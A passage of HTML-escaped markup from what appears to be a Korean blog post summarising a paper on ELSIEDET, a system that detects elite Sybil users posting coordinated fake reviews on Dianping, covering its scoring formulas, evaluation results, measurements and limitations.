onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;486&quot; height=&quot;239&quot; data-origin-width=&quot;866&quot; data-origin-height=&quot;426&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;[그림 7] example of time window detection&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;&amp;nbsp;4.3.&amp;nbsp;Elite&amp;nbsp;Sybil&amp;nbsp;User&amp;nbsp;Detection&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;이제&amp;nbsp;얻어낸&amp;nbsp;Campaign&amp;nbsp;Window&amp;nbsp;와&amp;nbsp;해당&amp;nbsp;Window에&amp;nbsp;참여한&amp;nbsp;사용자들&amp;nbsp;정보를&amp;nbsp;가지고&amp;nbsp;participation&amp;nbsp;rate와&amp;nbsp;Sybilness&amp;nbsp;를&amp;nbsp;얻어내면&amp;nbsp;된다. &lt;br /&gt;우선&amp;nbsp;participation&amp;nbsp;rate를&amp;nbsp;계산하기&amp;nbsp;위해서는&amp;nbsp;[그림&amp;nbsp;8]에서&amp;nbsp;볼&amp;nbsp;수&amp;nbsp;있듯이&amp;nbsp;Nc(k)와&amp;nbsp;Nc_max를&amp;nbsp;구해야&amp;nbsp;한다. &lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;876&quot; data-origin-height=&quot;173&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/batgid/btrvl89yiYx/R4nIUJm6mTxOSZ255Wnrek/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/batgid/btrvl89yiYx/R4nIUJm6mTxOSZ255Wnrek/img.png&quot; data-alt=&quot;[그림 8] Nc(k) &amp;amp;amp;amp; Nc_max&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/batgid/btrvl89yiYx/R4nIUJm6mTxOSZ255Wnrek/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbatgid%2Fbtrvl89yiYx%2FR4nIUJm6mTxOSZ255Wnrek%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;506&quot; height=&quot;100&quot; data-origin-width=&quot;876&quot; data-origin-height=&quot;173&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;[그림 8] Nc(k) &amp;amp;amp; Nc_max&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;Nc(k)는&amp;nbsp;community&amp;nbsp;C의&amp;nbsp;k번째&amp;nbsp;time&amp;nbsp;window에서&amp;nbsp;작성된&amp;nbsp;누적&amp;nbsp;리뷰&amp;nbsp;수이고,&amp;nbsp;Nc_max는&amp;nbsp;C의&amp;nbsp;전체&amp;nbsp;time&amp;nbsp;window&amp;nbsp;중&amp;nbsp;가장&amp;nbsp;많은&amp;nbsp;리뷰가&amp;nbsp;작성된&amp;nbsp;수&amp;nbsp;이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;이제&amp;nbsp;k번째&amp;nbsp;time&amp;nbsp;window에서&amp;nbsp;작성된&amp;nbsp;누적&amp;nbsp;리뷰&amp;nbsp;수&amp;nbsp;Nc(K)를&amp;nbsp;Nc_max로&amp;nbsp;나누어줌으로써&amp;nbsp;normalize를&amp;nbsp;해주게&amp;nbsp;된다.&amp;nbsp;이&amp;nbsp;normalize된&amp;nbsp;값&amp;nbsp;Pc(k)&amp;nbsp;=&amp;nbsp;Nc(k)&amp;nbsp;/&amp;nbsp;Nc_max&amp;nbsp;로&amp;nbsp;표현된다.&amp;nbsp;이&amp;nbsp;Pc(k)&amp;nbsp;값은&amp;nbsp;k번째&amp;nbsp;window의&amp;nbsp;중요도를&amp;nbsp;나타내주는&amp;nbsp;계수로&amp;nbsp;볼&amp;nbsp;수&amp;nbsp;있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;또한 Nu_c(k)를 k번째 window에서 사용자 u가 작성한 리뷰의 개수라고 할 경우, community C에서 사용자 u의 weighted sum은 [그림 9]와 같이 나타낼 수 있다. 사용자 u의 weighted sum은 특정 Community C에서 사용자 u의 비중을 나타내주는 계수로 볼 수 있다. &lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;455&quot; data-origin-height=&quot;99&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/xBAsU/btrvkGZH4Mc/B5m4eKOqJtB7xkxvIq8b41/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/xBAsU/btrvkGZH4Mc/B5m4eKOqJtB7xkxvIq8b41/img.png&quot; data-alt=&quot;[그림 9] weighted sum of user u&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/xBAsU/btrvkGZH4Mc/B5m4eKOqJtB7xkxvIq8b41/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FxBAsU%2FbtrvkGZH4Mc%2FB5m4eKOqJtB7xkxvIq8b41%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;276&quot; height=&quot;60&quot; data-origin-width=&quot;455&quot; data-origin-height=&quot;99&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;[그림 9] weighted sum of user u&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;이제&amp;nbsp;이&amp;nbsp;Nu_c(k)&amp;nbsp;값을&amp;nbsp;sigmoid&amp;nbsp;함수에&amp;nbsp;넣음으로써&amp;nbsp;community&amp;nbsp;C에&amp;nbsp;대한&amp;nbsp;사용자&amp;nbsp;u의&amp;nbsp;participation&amp;nbsp;rate&amp;nbsp;(시그마&amp;nbsp;u)&amp;nbsp;을&amp;nbsp;구할&amp;nbsp;수&amp;nbsp;있다.&amp;nbsp;participation&amp;nbsp;rate를&amp;nbsp;구하는&amp;nbsp;수식은&amp;nbsp;[그림&amp;nbsp;10]과&amp;nbsp;같다. &lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;652&quot; data-origin-height=&quot;105&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/caubFl/btrvl7vX5AX/CUhE8Cw4kcHHxiJUF3FGM0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/caubFl/btrvl7vX5AX/CUhE8Cw4kcHHxiJUF3FGM0/img.png&quot; data-alt=&quot;[그림 10] participation rate&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/caubFl/btrvl7vX5AX/CUhE8Cw4kcHHxiJUF3FGM0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcaubFl%2Fbtrvl7vX5AX%2FCUhE8Cw4kcHHxiJUF3FGM0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;453&quot; height=&quot;73&quot; data-origin-width=&quot;652&quot; data-origin-height=&quot;105&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;[그림 10] participation rate&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;Sybilness score는 사용자가 elite Sybil user일 가능성을 나타내주는 지표이다. 앞서 살펴본 participation rate은 특정 community C에 대한 사용자 u의 참여도를 나타낸 지표이므로 만약 elite Sybil user가 여러 community에 조금씩 참가할 경우, participation rate은 작게 나타날 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;이를&amp;nbsp;해결하기&amp;nbsp;위해&amp;nbsp;Sybilness&amp;nbsp;score를&amp;nbsp;고안하였으며,&amp;nbsp;Sybilness&amp;nbsp;score&amp;nbsp;f()&amp;nbsp;는&amp;nbsp;단순히&amp;nbsp;모든&amp;nbsp;community&amp;nbsp;C에&amp;nbsp;대하여&amp;nbsp;participation&amp;nbsp;rate와&amp;nbsp;Nu_C를&amp;nbsp;더한&amp;nbsp;값이다.&amp;nbsp;이를&amp;nbsp;수식으로&amp;nbsp;나타내보면&amp;nbsp;[그림&amp;nbsp;11]과&amp;nbsp;같다. &lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;382&quot; data-origin-height=&quot;100&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/beb9DE/btrvoAEdoVQ/Dvc7qW9YMTT3YNQrnoSA7K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/beb9DE/btrvoAEdoVQ/Dvc7qW9YMTT3YNQrnoSA7K/img.png&quot; data-alt=&quot;[그림 11] Sybilness score&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/beb9DE/btrvoAEdoVQ/Dvc7qW9YMTT3YNQrnoSA7K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbeb9DE%2FbtrvoAEdoVQ%2FDvc7qW9YMTT3YNQrnoSA7K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;252&quot; height=&quot;66&quot; data-origin-width=&quot;382&quot; data-origin-height=&quot;100&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;[그림 11] Sybilness score&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;br /&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;5.&amp;nbsp;Evaluation&lt;/b&gt;&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;실험에&amp;nbsp;사용된&amp;nbsp;데이터셋은&amp;nbsp;직접&amp;nbsp;Dianping&amp;nbsp;사이트의&amp;nbsp;여러&amp;nbsp;store와&amp;nbsp;review를&amp;nbsp;크롤링&amp;nbsp;하여&amp;nbsp;획득하였다.&amp;nbsp;총&amp;nbsp;32,933개의&amp;nbsp;store,&amp;nbsp;10,541,931개의&amp;nbsp;review,&amp;nbsp;3,555,154개의&amp;nbsp;users를&amp;nbsp;획득할&amp;nbsp;수&amp;nbsp;있었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;community를&amp;nbsp;라벨링&amp;nbsp;하는데는&amp;nbsp;경험적인&amp;nbsp;직관에&amp;nbsp;의거한&amp;nbsp;기준&amp;nbsp;3가지를&amp;nbsp;두고&amp;nbsp;사람이&amp;nbsp;직접&amp;nbsp;labelling하였다. &lt;br /&gt;ELSIEDET을&amp;nbsp;사용한&amp;nbsp;결과&amp;nbsp;데이터셋에서&amp;nbsp;총&amp;nbsp;710개의&amp;nbsp;community를&amp;nbsp;탐지할&amp;nbsp;수&amp;nbsp;있었다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;특정&amp;nbsp;community가&amp;nbsp;sybil&amp;nbsp;한지&amp;nbsp;benign&amp;nbsp;한지&amp;nbsp;판단하기&amp;nbsp;위해&amp;nbsp;다양한&amp;nbsp;ML&amp;nbsp;모델을&amp;nbsp;적용한&amp;nbsp;결과&amp;nbsp;[그림&amp;nbsp;12]와&amp;nbsp;같은&amp;nbsp;결과를&amp;nbsp;얻을&amp;nbsp;수&amp;nbsp;있었다. &lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;895&quot; data-origin-height=&quot;296&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cDgbfp/btrvqkt6aPb/OQTBfFPRU0k4KkjQvlYf00/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cDgbfp/btrvqkt6aPb/OQTBfFPRU0k4KkjQvlYf00/img.png&quot; data-alt=&quot;[그림 12] Classification performance&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cDgbfp/btrvqkt6aPb/OQTBfFPRU0k4KkjQvlYf00/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcDgbfp%2Fbtrvqkt6aPb%2FOQTBfFPRU0k4KkjQvlYf00%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;476&quot; height=&quot;157&quot; data-origin-width=&quot;895&quot; data-origin-height=&quot;296&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;[그림 12] Classification performance&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;그&amp;nbsp;결과&amp;nbsp;SVM&amp;nbsp;모델을&amp;nbsp;사용하고&amp;nbsp;5-fold&amp;nbsp;cross-validation&amp;nbsp;을&amp;nbsp;사용한&amp;nbsp;모델이&amp;nbsp;가장&amp;nbsp;좋은&amp;nbsp;성능을&amp;nbsp;뽑아냄을&amp;nbsp;알&amp;nbsp;수&amp;nbsp;있었다. &lt;br /&gt;다음으로,&amp;nbsp;Elite&amp;nbsp;Sybil&amp;nbsp;user를&amp;nbsp;탐지하는데에는&amp;nbsp;두가지&amp;nbsp;기준을&amp;nbsp;적용시켰다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1)&amp;nbsp;사용자&amp;nbsp;u가&amp;nbsp;어느&amp;nbsp;community에도&amp;nbsp;속해있지&amp;nbsp;않으며&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2)&amp;nbsp;사용자의&amp;nbsp;user&amp;nbsp;participation&amp;nbsp;rate&amp;nbsp;시그마u가&amp;nbsp;0.5를&amp;nbsp;넘는&amp;nbsp;경우이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;그&amp;nbsp;결과&amp;nbsp;총&amp;nbsp;12,292개의&amp;nbsp;elite&amp;nbsp;Sybil&amp;nbsp;users를&amp;nbsp;탐지할&amp;nbsp;수&amp;nbsp;있었다.&amp;nbsp;단순히&amp;nbsp;binary&amp;nbsp;classification을&amp;nbsp;하는게&amp;nbsp;아니라,&amp;nbsp;sybilness&amp;nbsp;score를&amp;nbsp;기준으로&amp;nbsp;정렬하여&amp;nbsp;보여준다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;br /&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;6.&amp;nbsp;Measurement&amp;nbsp;and&amp;nbsp;analysis&lt;/b&gt;&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;일반적인&amp;nbsp;Sybil&amp;nbsp;users&amp;nbsp;와&amp;nbsp;비교해보았을때&amp;nbsp;elite&amp;nbsp;Sybil&amp;nbsp;users는&amp;nbsp;[그림&amp;nbsp;13]과&amp;nbsp;같은&amp;nbsp;경향을&amp;nbsp;띈다. &lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1784&quot; data-origin-height=&quot;464&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/be3uRB/btrvhmM2Eec/QPlnKDyRn2mN18h5DPhVv1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/be3uRB/btrvhmM2Eec/QPlnKDyRn2mN18h5DPhVv1/img.png&quot; data-alt=&quot;[그림 13] Experiment result&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/be3uRB/btrvhmM2Eec/QPlnKDyRn2mN18h5DPhVv1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbe3uRB%2FbtrvhmM2Eec%2FQPlnKDyRn2mN18h5DPhVv1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;779&quot; height=&quot;203&quot; data-origin-width=&quot;1784&quot; data-origin-height=&quot;464&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;[그림 13] Experiment result&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;&lt;br /&gt;우선&amp;nbsp;suspicious&amp;nbsp;reviews&amp;nbsp;수는&amp;nbsp;Elite&amp;nbsp;Sybil&amp;nbsp;users&amp;nbsp;-&amp;nbsp;Sybil&amp;nbsp;users&amp;nbsp;-&amp;nbsp;benign&amp;nbsp;users&amp;nbsp;순으로&amp;nbsp;많았다.&amp;nbsp;이는&amp;nbsp;일반적인&amp;nbsp;Sybil&amp;nbsp;users는&amp;nbsp;새롭게&amp;nbsp;account를&amp;nbsp;생성하고&amp;nbsp;바꾸는&amp;nbsp;것이&amp;nbsp;가능하기&amp;nbsp;때문에&amp;nbsp;elite&amp;nbsp;Sybil&amp;nbsp;users에&amp;nbsp;비해&amp;nbsp;낮게&amp;nbsp;나온&amp;nbsp;것으로&amp;nbsp;보인다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;또한&amp;nbsp;Percentage&amp;nbsp;of&amp;nbsp;fake&amp;nbsp;reviews는&amp;nbsp;Regular&amp;nbsp;Sybils&amp;nbsp;에&amp;nbsp;비해&amp;nbsp;elite&amp;nbsp;Sybils가&amp;nbsp;훨신&amp;nbsp;낮게&amp;nbsp;나왔다.&amp;nbsp;이는&amp;nbsp;elite&amp;nbsp;Sybil&amp;nbsp;attack의&amp;nbsp;정의에&amp;nbsp;의하면&amp;nbsp;당연한&amp;nbsp;결과이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;마지막으로 filtered 된 reviews의 비율은 Regular Sybils - elite Sybils - benign users 순으로 많았다. 이는 elite Sybils 가 일반적인 Sybils에 비해 필터링될 확률이 적다는 것을 의미한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;또한&amp;nbsp;본&amp;nbsp;연구팀은&amp;nbsp;chain&amp;nbsp;store&amp;nbsp;역시&amp;nbsp;Sybil&amp;nbsp;attacks를&amp;nbsp;사용한다는&amp;nbsp;것을&amp;nbsp;밝혔으며,&amp;nbsp;7-day&amp;nbsp;slide&amp;nbsp;window를&amp;nbsp;사용해&amp;nbsp;elite&amp;nbsp;Sybil&amp;nbsp;users를&amp;nbsp;파악하고&amp;nbsp;이를&amp;nbsp;통해&amp;nbsp;조기에&amp;nbsp;elite&amp;nbsp;Sybil&amp;nbsp;attacks를&amp;nbsp;파악하는&amp;nbsp;방안&amp;nbsp;또한&amp;nbsp;제안하였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;[그림&amp;nbsp;14]를&amp;nbsp;보면&amp;nbsp;3명의&amp;nbsp;elite&amp;nbsp;Sybil&amp;nbsp;users가&amp;nbsp;각각&amp;nbsp;ELSIEDET과&amp;nbsp;Dianping의&amp;nbsp;Sybil&amp;nbsp;detection&amp;nbsp;system&amp;nbsp;을&amp;nbsp;통해&amp;nbsp;필터링된&amp;nbsp;정도를&amp;nbsp;알&amp;nbsp;수&amp;nbsp;있다. &lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;638&quot; data-origin-height=&quot;830&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bc4Bq3/btrviHLmEGp/pTTgf1jSC7crvOhcgTsqW0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bc4Bq3/btrviHLmEGp/pTTgf1jSC7crvOhcgTsqW0/img.png&quot; data-alt=&quot;[그림 14] Different detection results for elite Sybil users&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bc4Bq3/btrviHLmEGp/pTTgf1jSC7crvOhcgTsqW0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbc4Bq3%2FbtrviHLmEGp%2FpTTgf1jSC7crvOhcgTsqW0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;350&quot; height=&quot;455&quot; data-origin-width=&quot;638&quot; data-origin-height=&quot;830&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;[그림 14] Different detection results for elite Sybil users&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;이를&amp;nbsp;통해&amp;nbsp;Elite&amp;nbsp;Sybil&amp;nbsp;users가&amp;nbsp;수많은&amp;nbsp;양의&amp;nbsp;리뷰를&amp;nbsp;올리면&amp;nbsp;aggregate&amp;nbsp;nehavioral-based&amp;nbsp;clustering&amp;nbsp;방식의&amp;nbsp;user&amp;nbsp;activity&amp;nbsp;similarity를&amp;nbsp;계산하는&amp;nbsp;방식의&amp;nbsp;탐지&amp;nbsp;시스템을&amp;nbsp;잘&amp;nbsp;우회하는&amp;nbsp;것으로&amp;nbsp;나타났다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;또한,&amp;nbsp;Dianping의&amp;nbsp;Sybil&amp;nbsp;탐지&amp;nbsp;시스템은&amp;nbsp;너무&amp;nbsp;민감하여&amp;nbsp;falsely&amp;nbsp;filtered&amp;nbsp;하는&amp;nbsp;경우가&amp;nbsp;많았다.&amp;nbsp;이는&amp;nbsp;[그림&amp;nbsp;14]의&amp;nbsp;(c)를&amp;nbsp;보면&amp;nbsp;알&amp;nbsp;수&amp;nbsp;있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;7.&amp;nbsp;Discussion&amp;nbsp;and&amp;nbsp;Limitation&lt;/b&gt;&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;우선&amp;nbsp;Sybilness&amp;nbsp;score에&amp;nbsp;따라서&amp;nbsp;의심스러운&amp;nbsp;사용자에&amp;nbsp;대한&amp;nbsp;weight&amp;nbsp;를&amp;nbsp;바꿔주면&amp;nbsp;Sybil&amp;nbsp;attack으로&amp;nbsp;인한&amp;nbsp;부정적인&amp;nbsp;영향을&amp;nbsp;완화시켜줄&amp;nbsp;수&amp;nbsp;있다.&amp;nbsp;예를들어&amp;nbsp;의심이&amp;nbsp;많이가는&amp;nbsp;사용자에게&amp;nbsp;더&amp;nbsp;낮은&amp;nbsp;weight를&amp;nbsp;할당해주면,&amp;nbsp;Sybil&amp;nbsp;organization은&amp;nbsp;rating을&amp;nbsp;조작하기&amp;nbsp;더&amp;nbsp;어려워질&amp;nbsp;것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;또한&amp;nbsp;elite&amp;nbsp;Sybil&amp;nbsp;users를&amp;nbsp;모두&amp;nbsp;찾으려는&amp;nbsp;것보다,&amp;nbsp;Sybilness&amp;nbsp;score가&amp;nbsp;높은&amp;nbsp;몇명의&amp;nbsp;사용자를&amp;nbsp;찾고,&amp;nbsp;해당&amp;nbsp;사용자가&amp;nbsp;참여해있는&amp;nbsp;그룹을&amp;nbsp;조사하면&amp;nbsp;보다&amp;nbsp;효과적으로&amp;nbsp;elite&amp;nbsp;Sybil&amp;nbsp;users를&amp;nbsp;탐지할&amp;nbsp;수&amp;nbsp;있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;반면&amp;nbsp;본&amp;nbsp;연구팀에서는&amp;nbsp;Dianping&amp;nbsp;상에서&amp;nbsp;users&amp;nbsp;간의&amp;nbsp;social&amp;nbsp;link를&amp;nbsp;조사하지&amp;nbsp;않았던&amp;nbsp;점,&amp;nbsp;elite&amp;nbsp;Sybil&amp;nbsp;user가&amp;nbsp;여러&amp;nbsp;campaign에&amp;nbsp;조금씩&amp;nbsp;참여하는&amp;nbsp;경우에는&amp;nbsp;회피될&amp;nbsp;가능성이&amp;nbsp;있다는&amp;nbsp;점,&amp;nbsp;다른&amp;nbsp;URSN에&amp;nbsp;대해서는&amp;nbsp;실험하지&amp;nbsp;못했던&amp;nbsp;점을&amp;nbsp;한계로&amp;nbsp;꼽았다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;br /&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;9.&amp;nbsp;Conclusion&lt;/b&gt;&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;본&amp;nbsp;논문에서는&amp;nbsp;URSNs에&amp;nbsp;대해&amp;nbsp;elite&amp;nbsp;sybil&amp;nbsp;attack의&amp;nbsp;구조를&amp;nbsp;파악하고,&amp;nbsp;이를&amp;nbsp;탐지하고&amp;nbsp;조기에&amp;nbsp;필터링할&amp;nbsp;수&amp;nbsp;있는&amp;nbsp;시스템을&amp;nbsp;제안하였다.&amp;nbsp;또한&amp;nbsp;실제로&amp;nbsp;다양한&amp;nbsp;chain&amp;nbsp;store에서도&amp;nbsp;자신들의&amp;nbsp;평점을&amp;nbsp;조작하기&amp;nbsp;위해서&amp;nbsp;elite&amp;nbsp;sybil&amp;nbsp;attack을&amp;nbsp;사용하고&amp;nbsp;있음을&amp;nbsp;보였다. &lt;br /&gt;또한&amp;nbsp;temporal&amp;nbsp;patterns를&amp;nbsp;가지고&amp;nbsp;정교하게&amp;nbsp;조작하는&amp;nbsp;것이&amp;nbsp;공격자가&amp;nbsp;회피하지&amp;nbsp;못하게&amp;nbsp;만드는&amp;nbsp;key임을&amp;nbsp;강조하며&amp;nbsp;본&amp;nbsp;논문을&amp;nbsp;마쳤다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;color: #666666;&quot;&gt;&lt;b&gt;Reference&lt;/b&gt;&lt;/span&gt;&lt;/h4&gt;
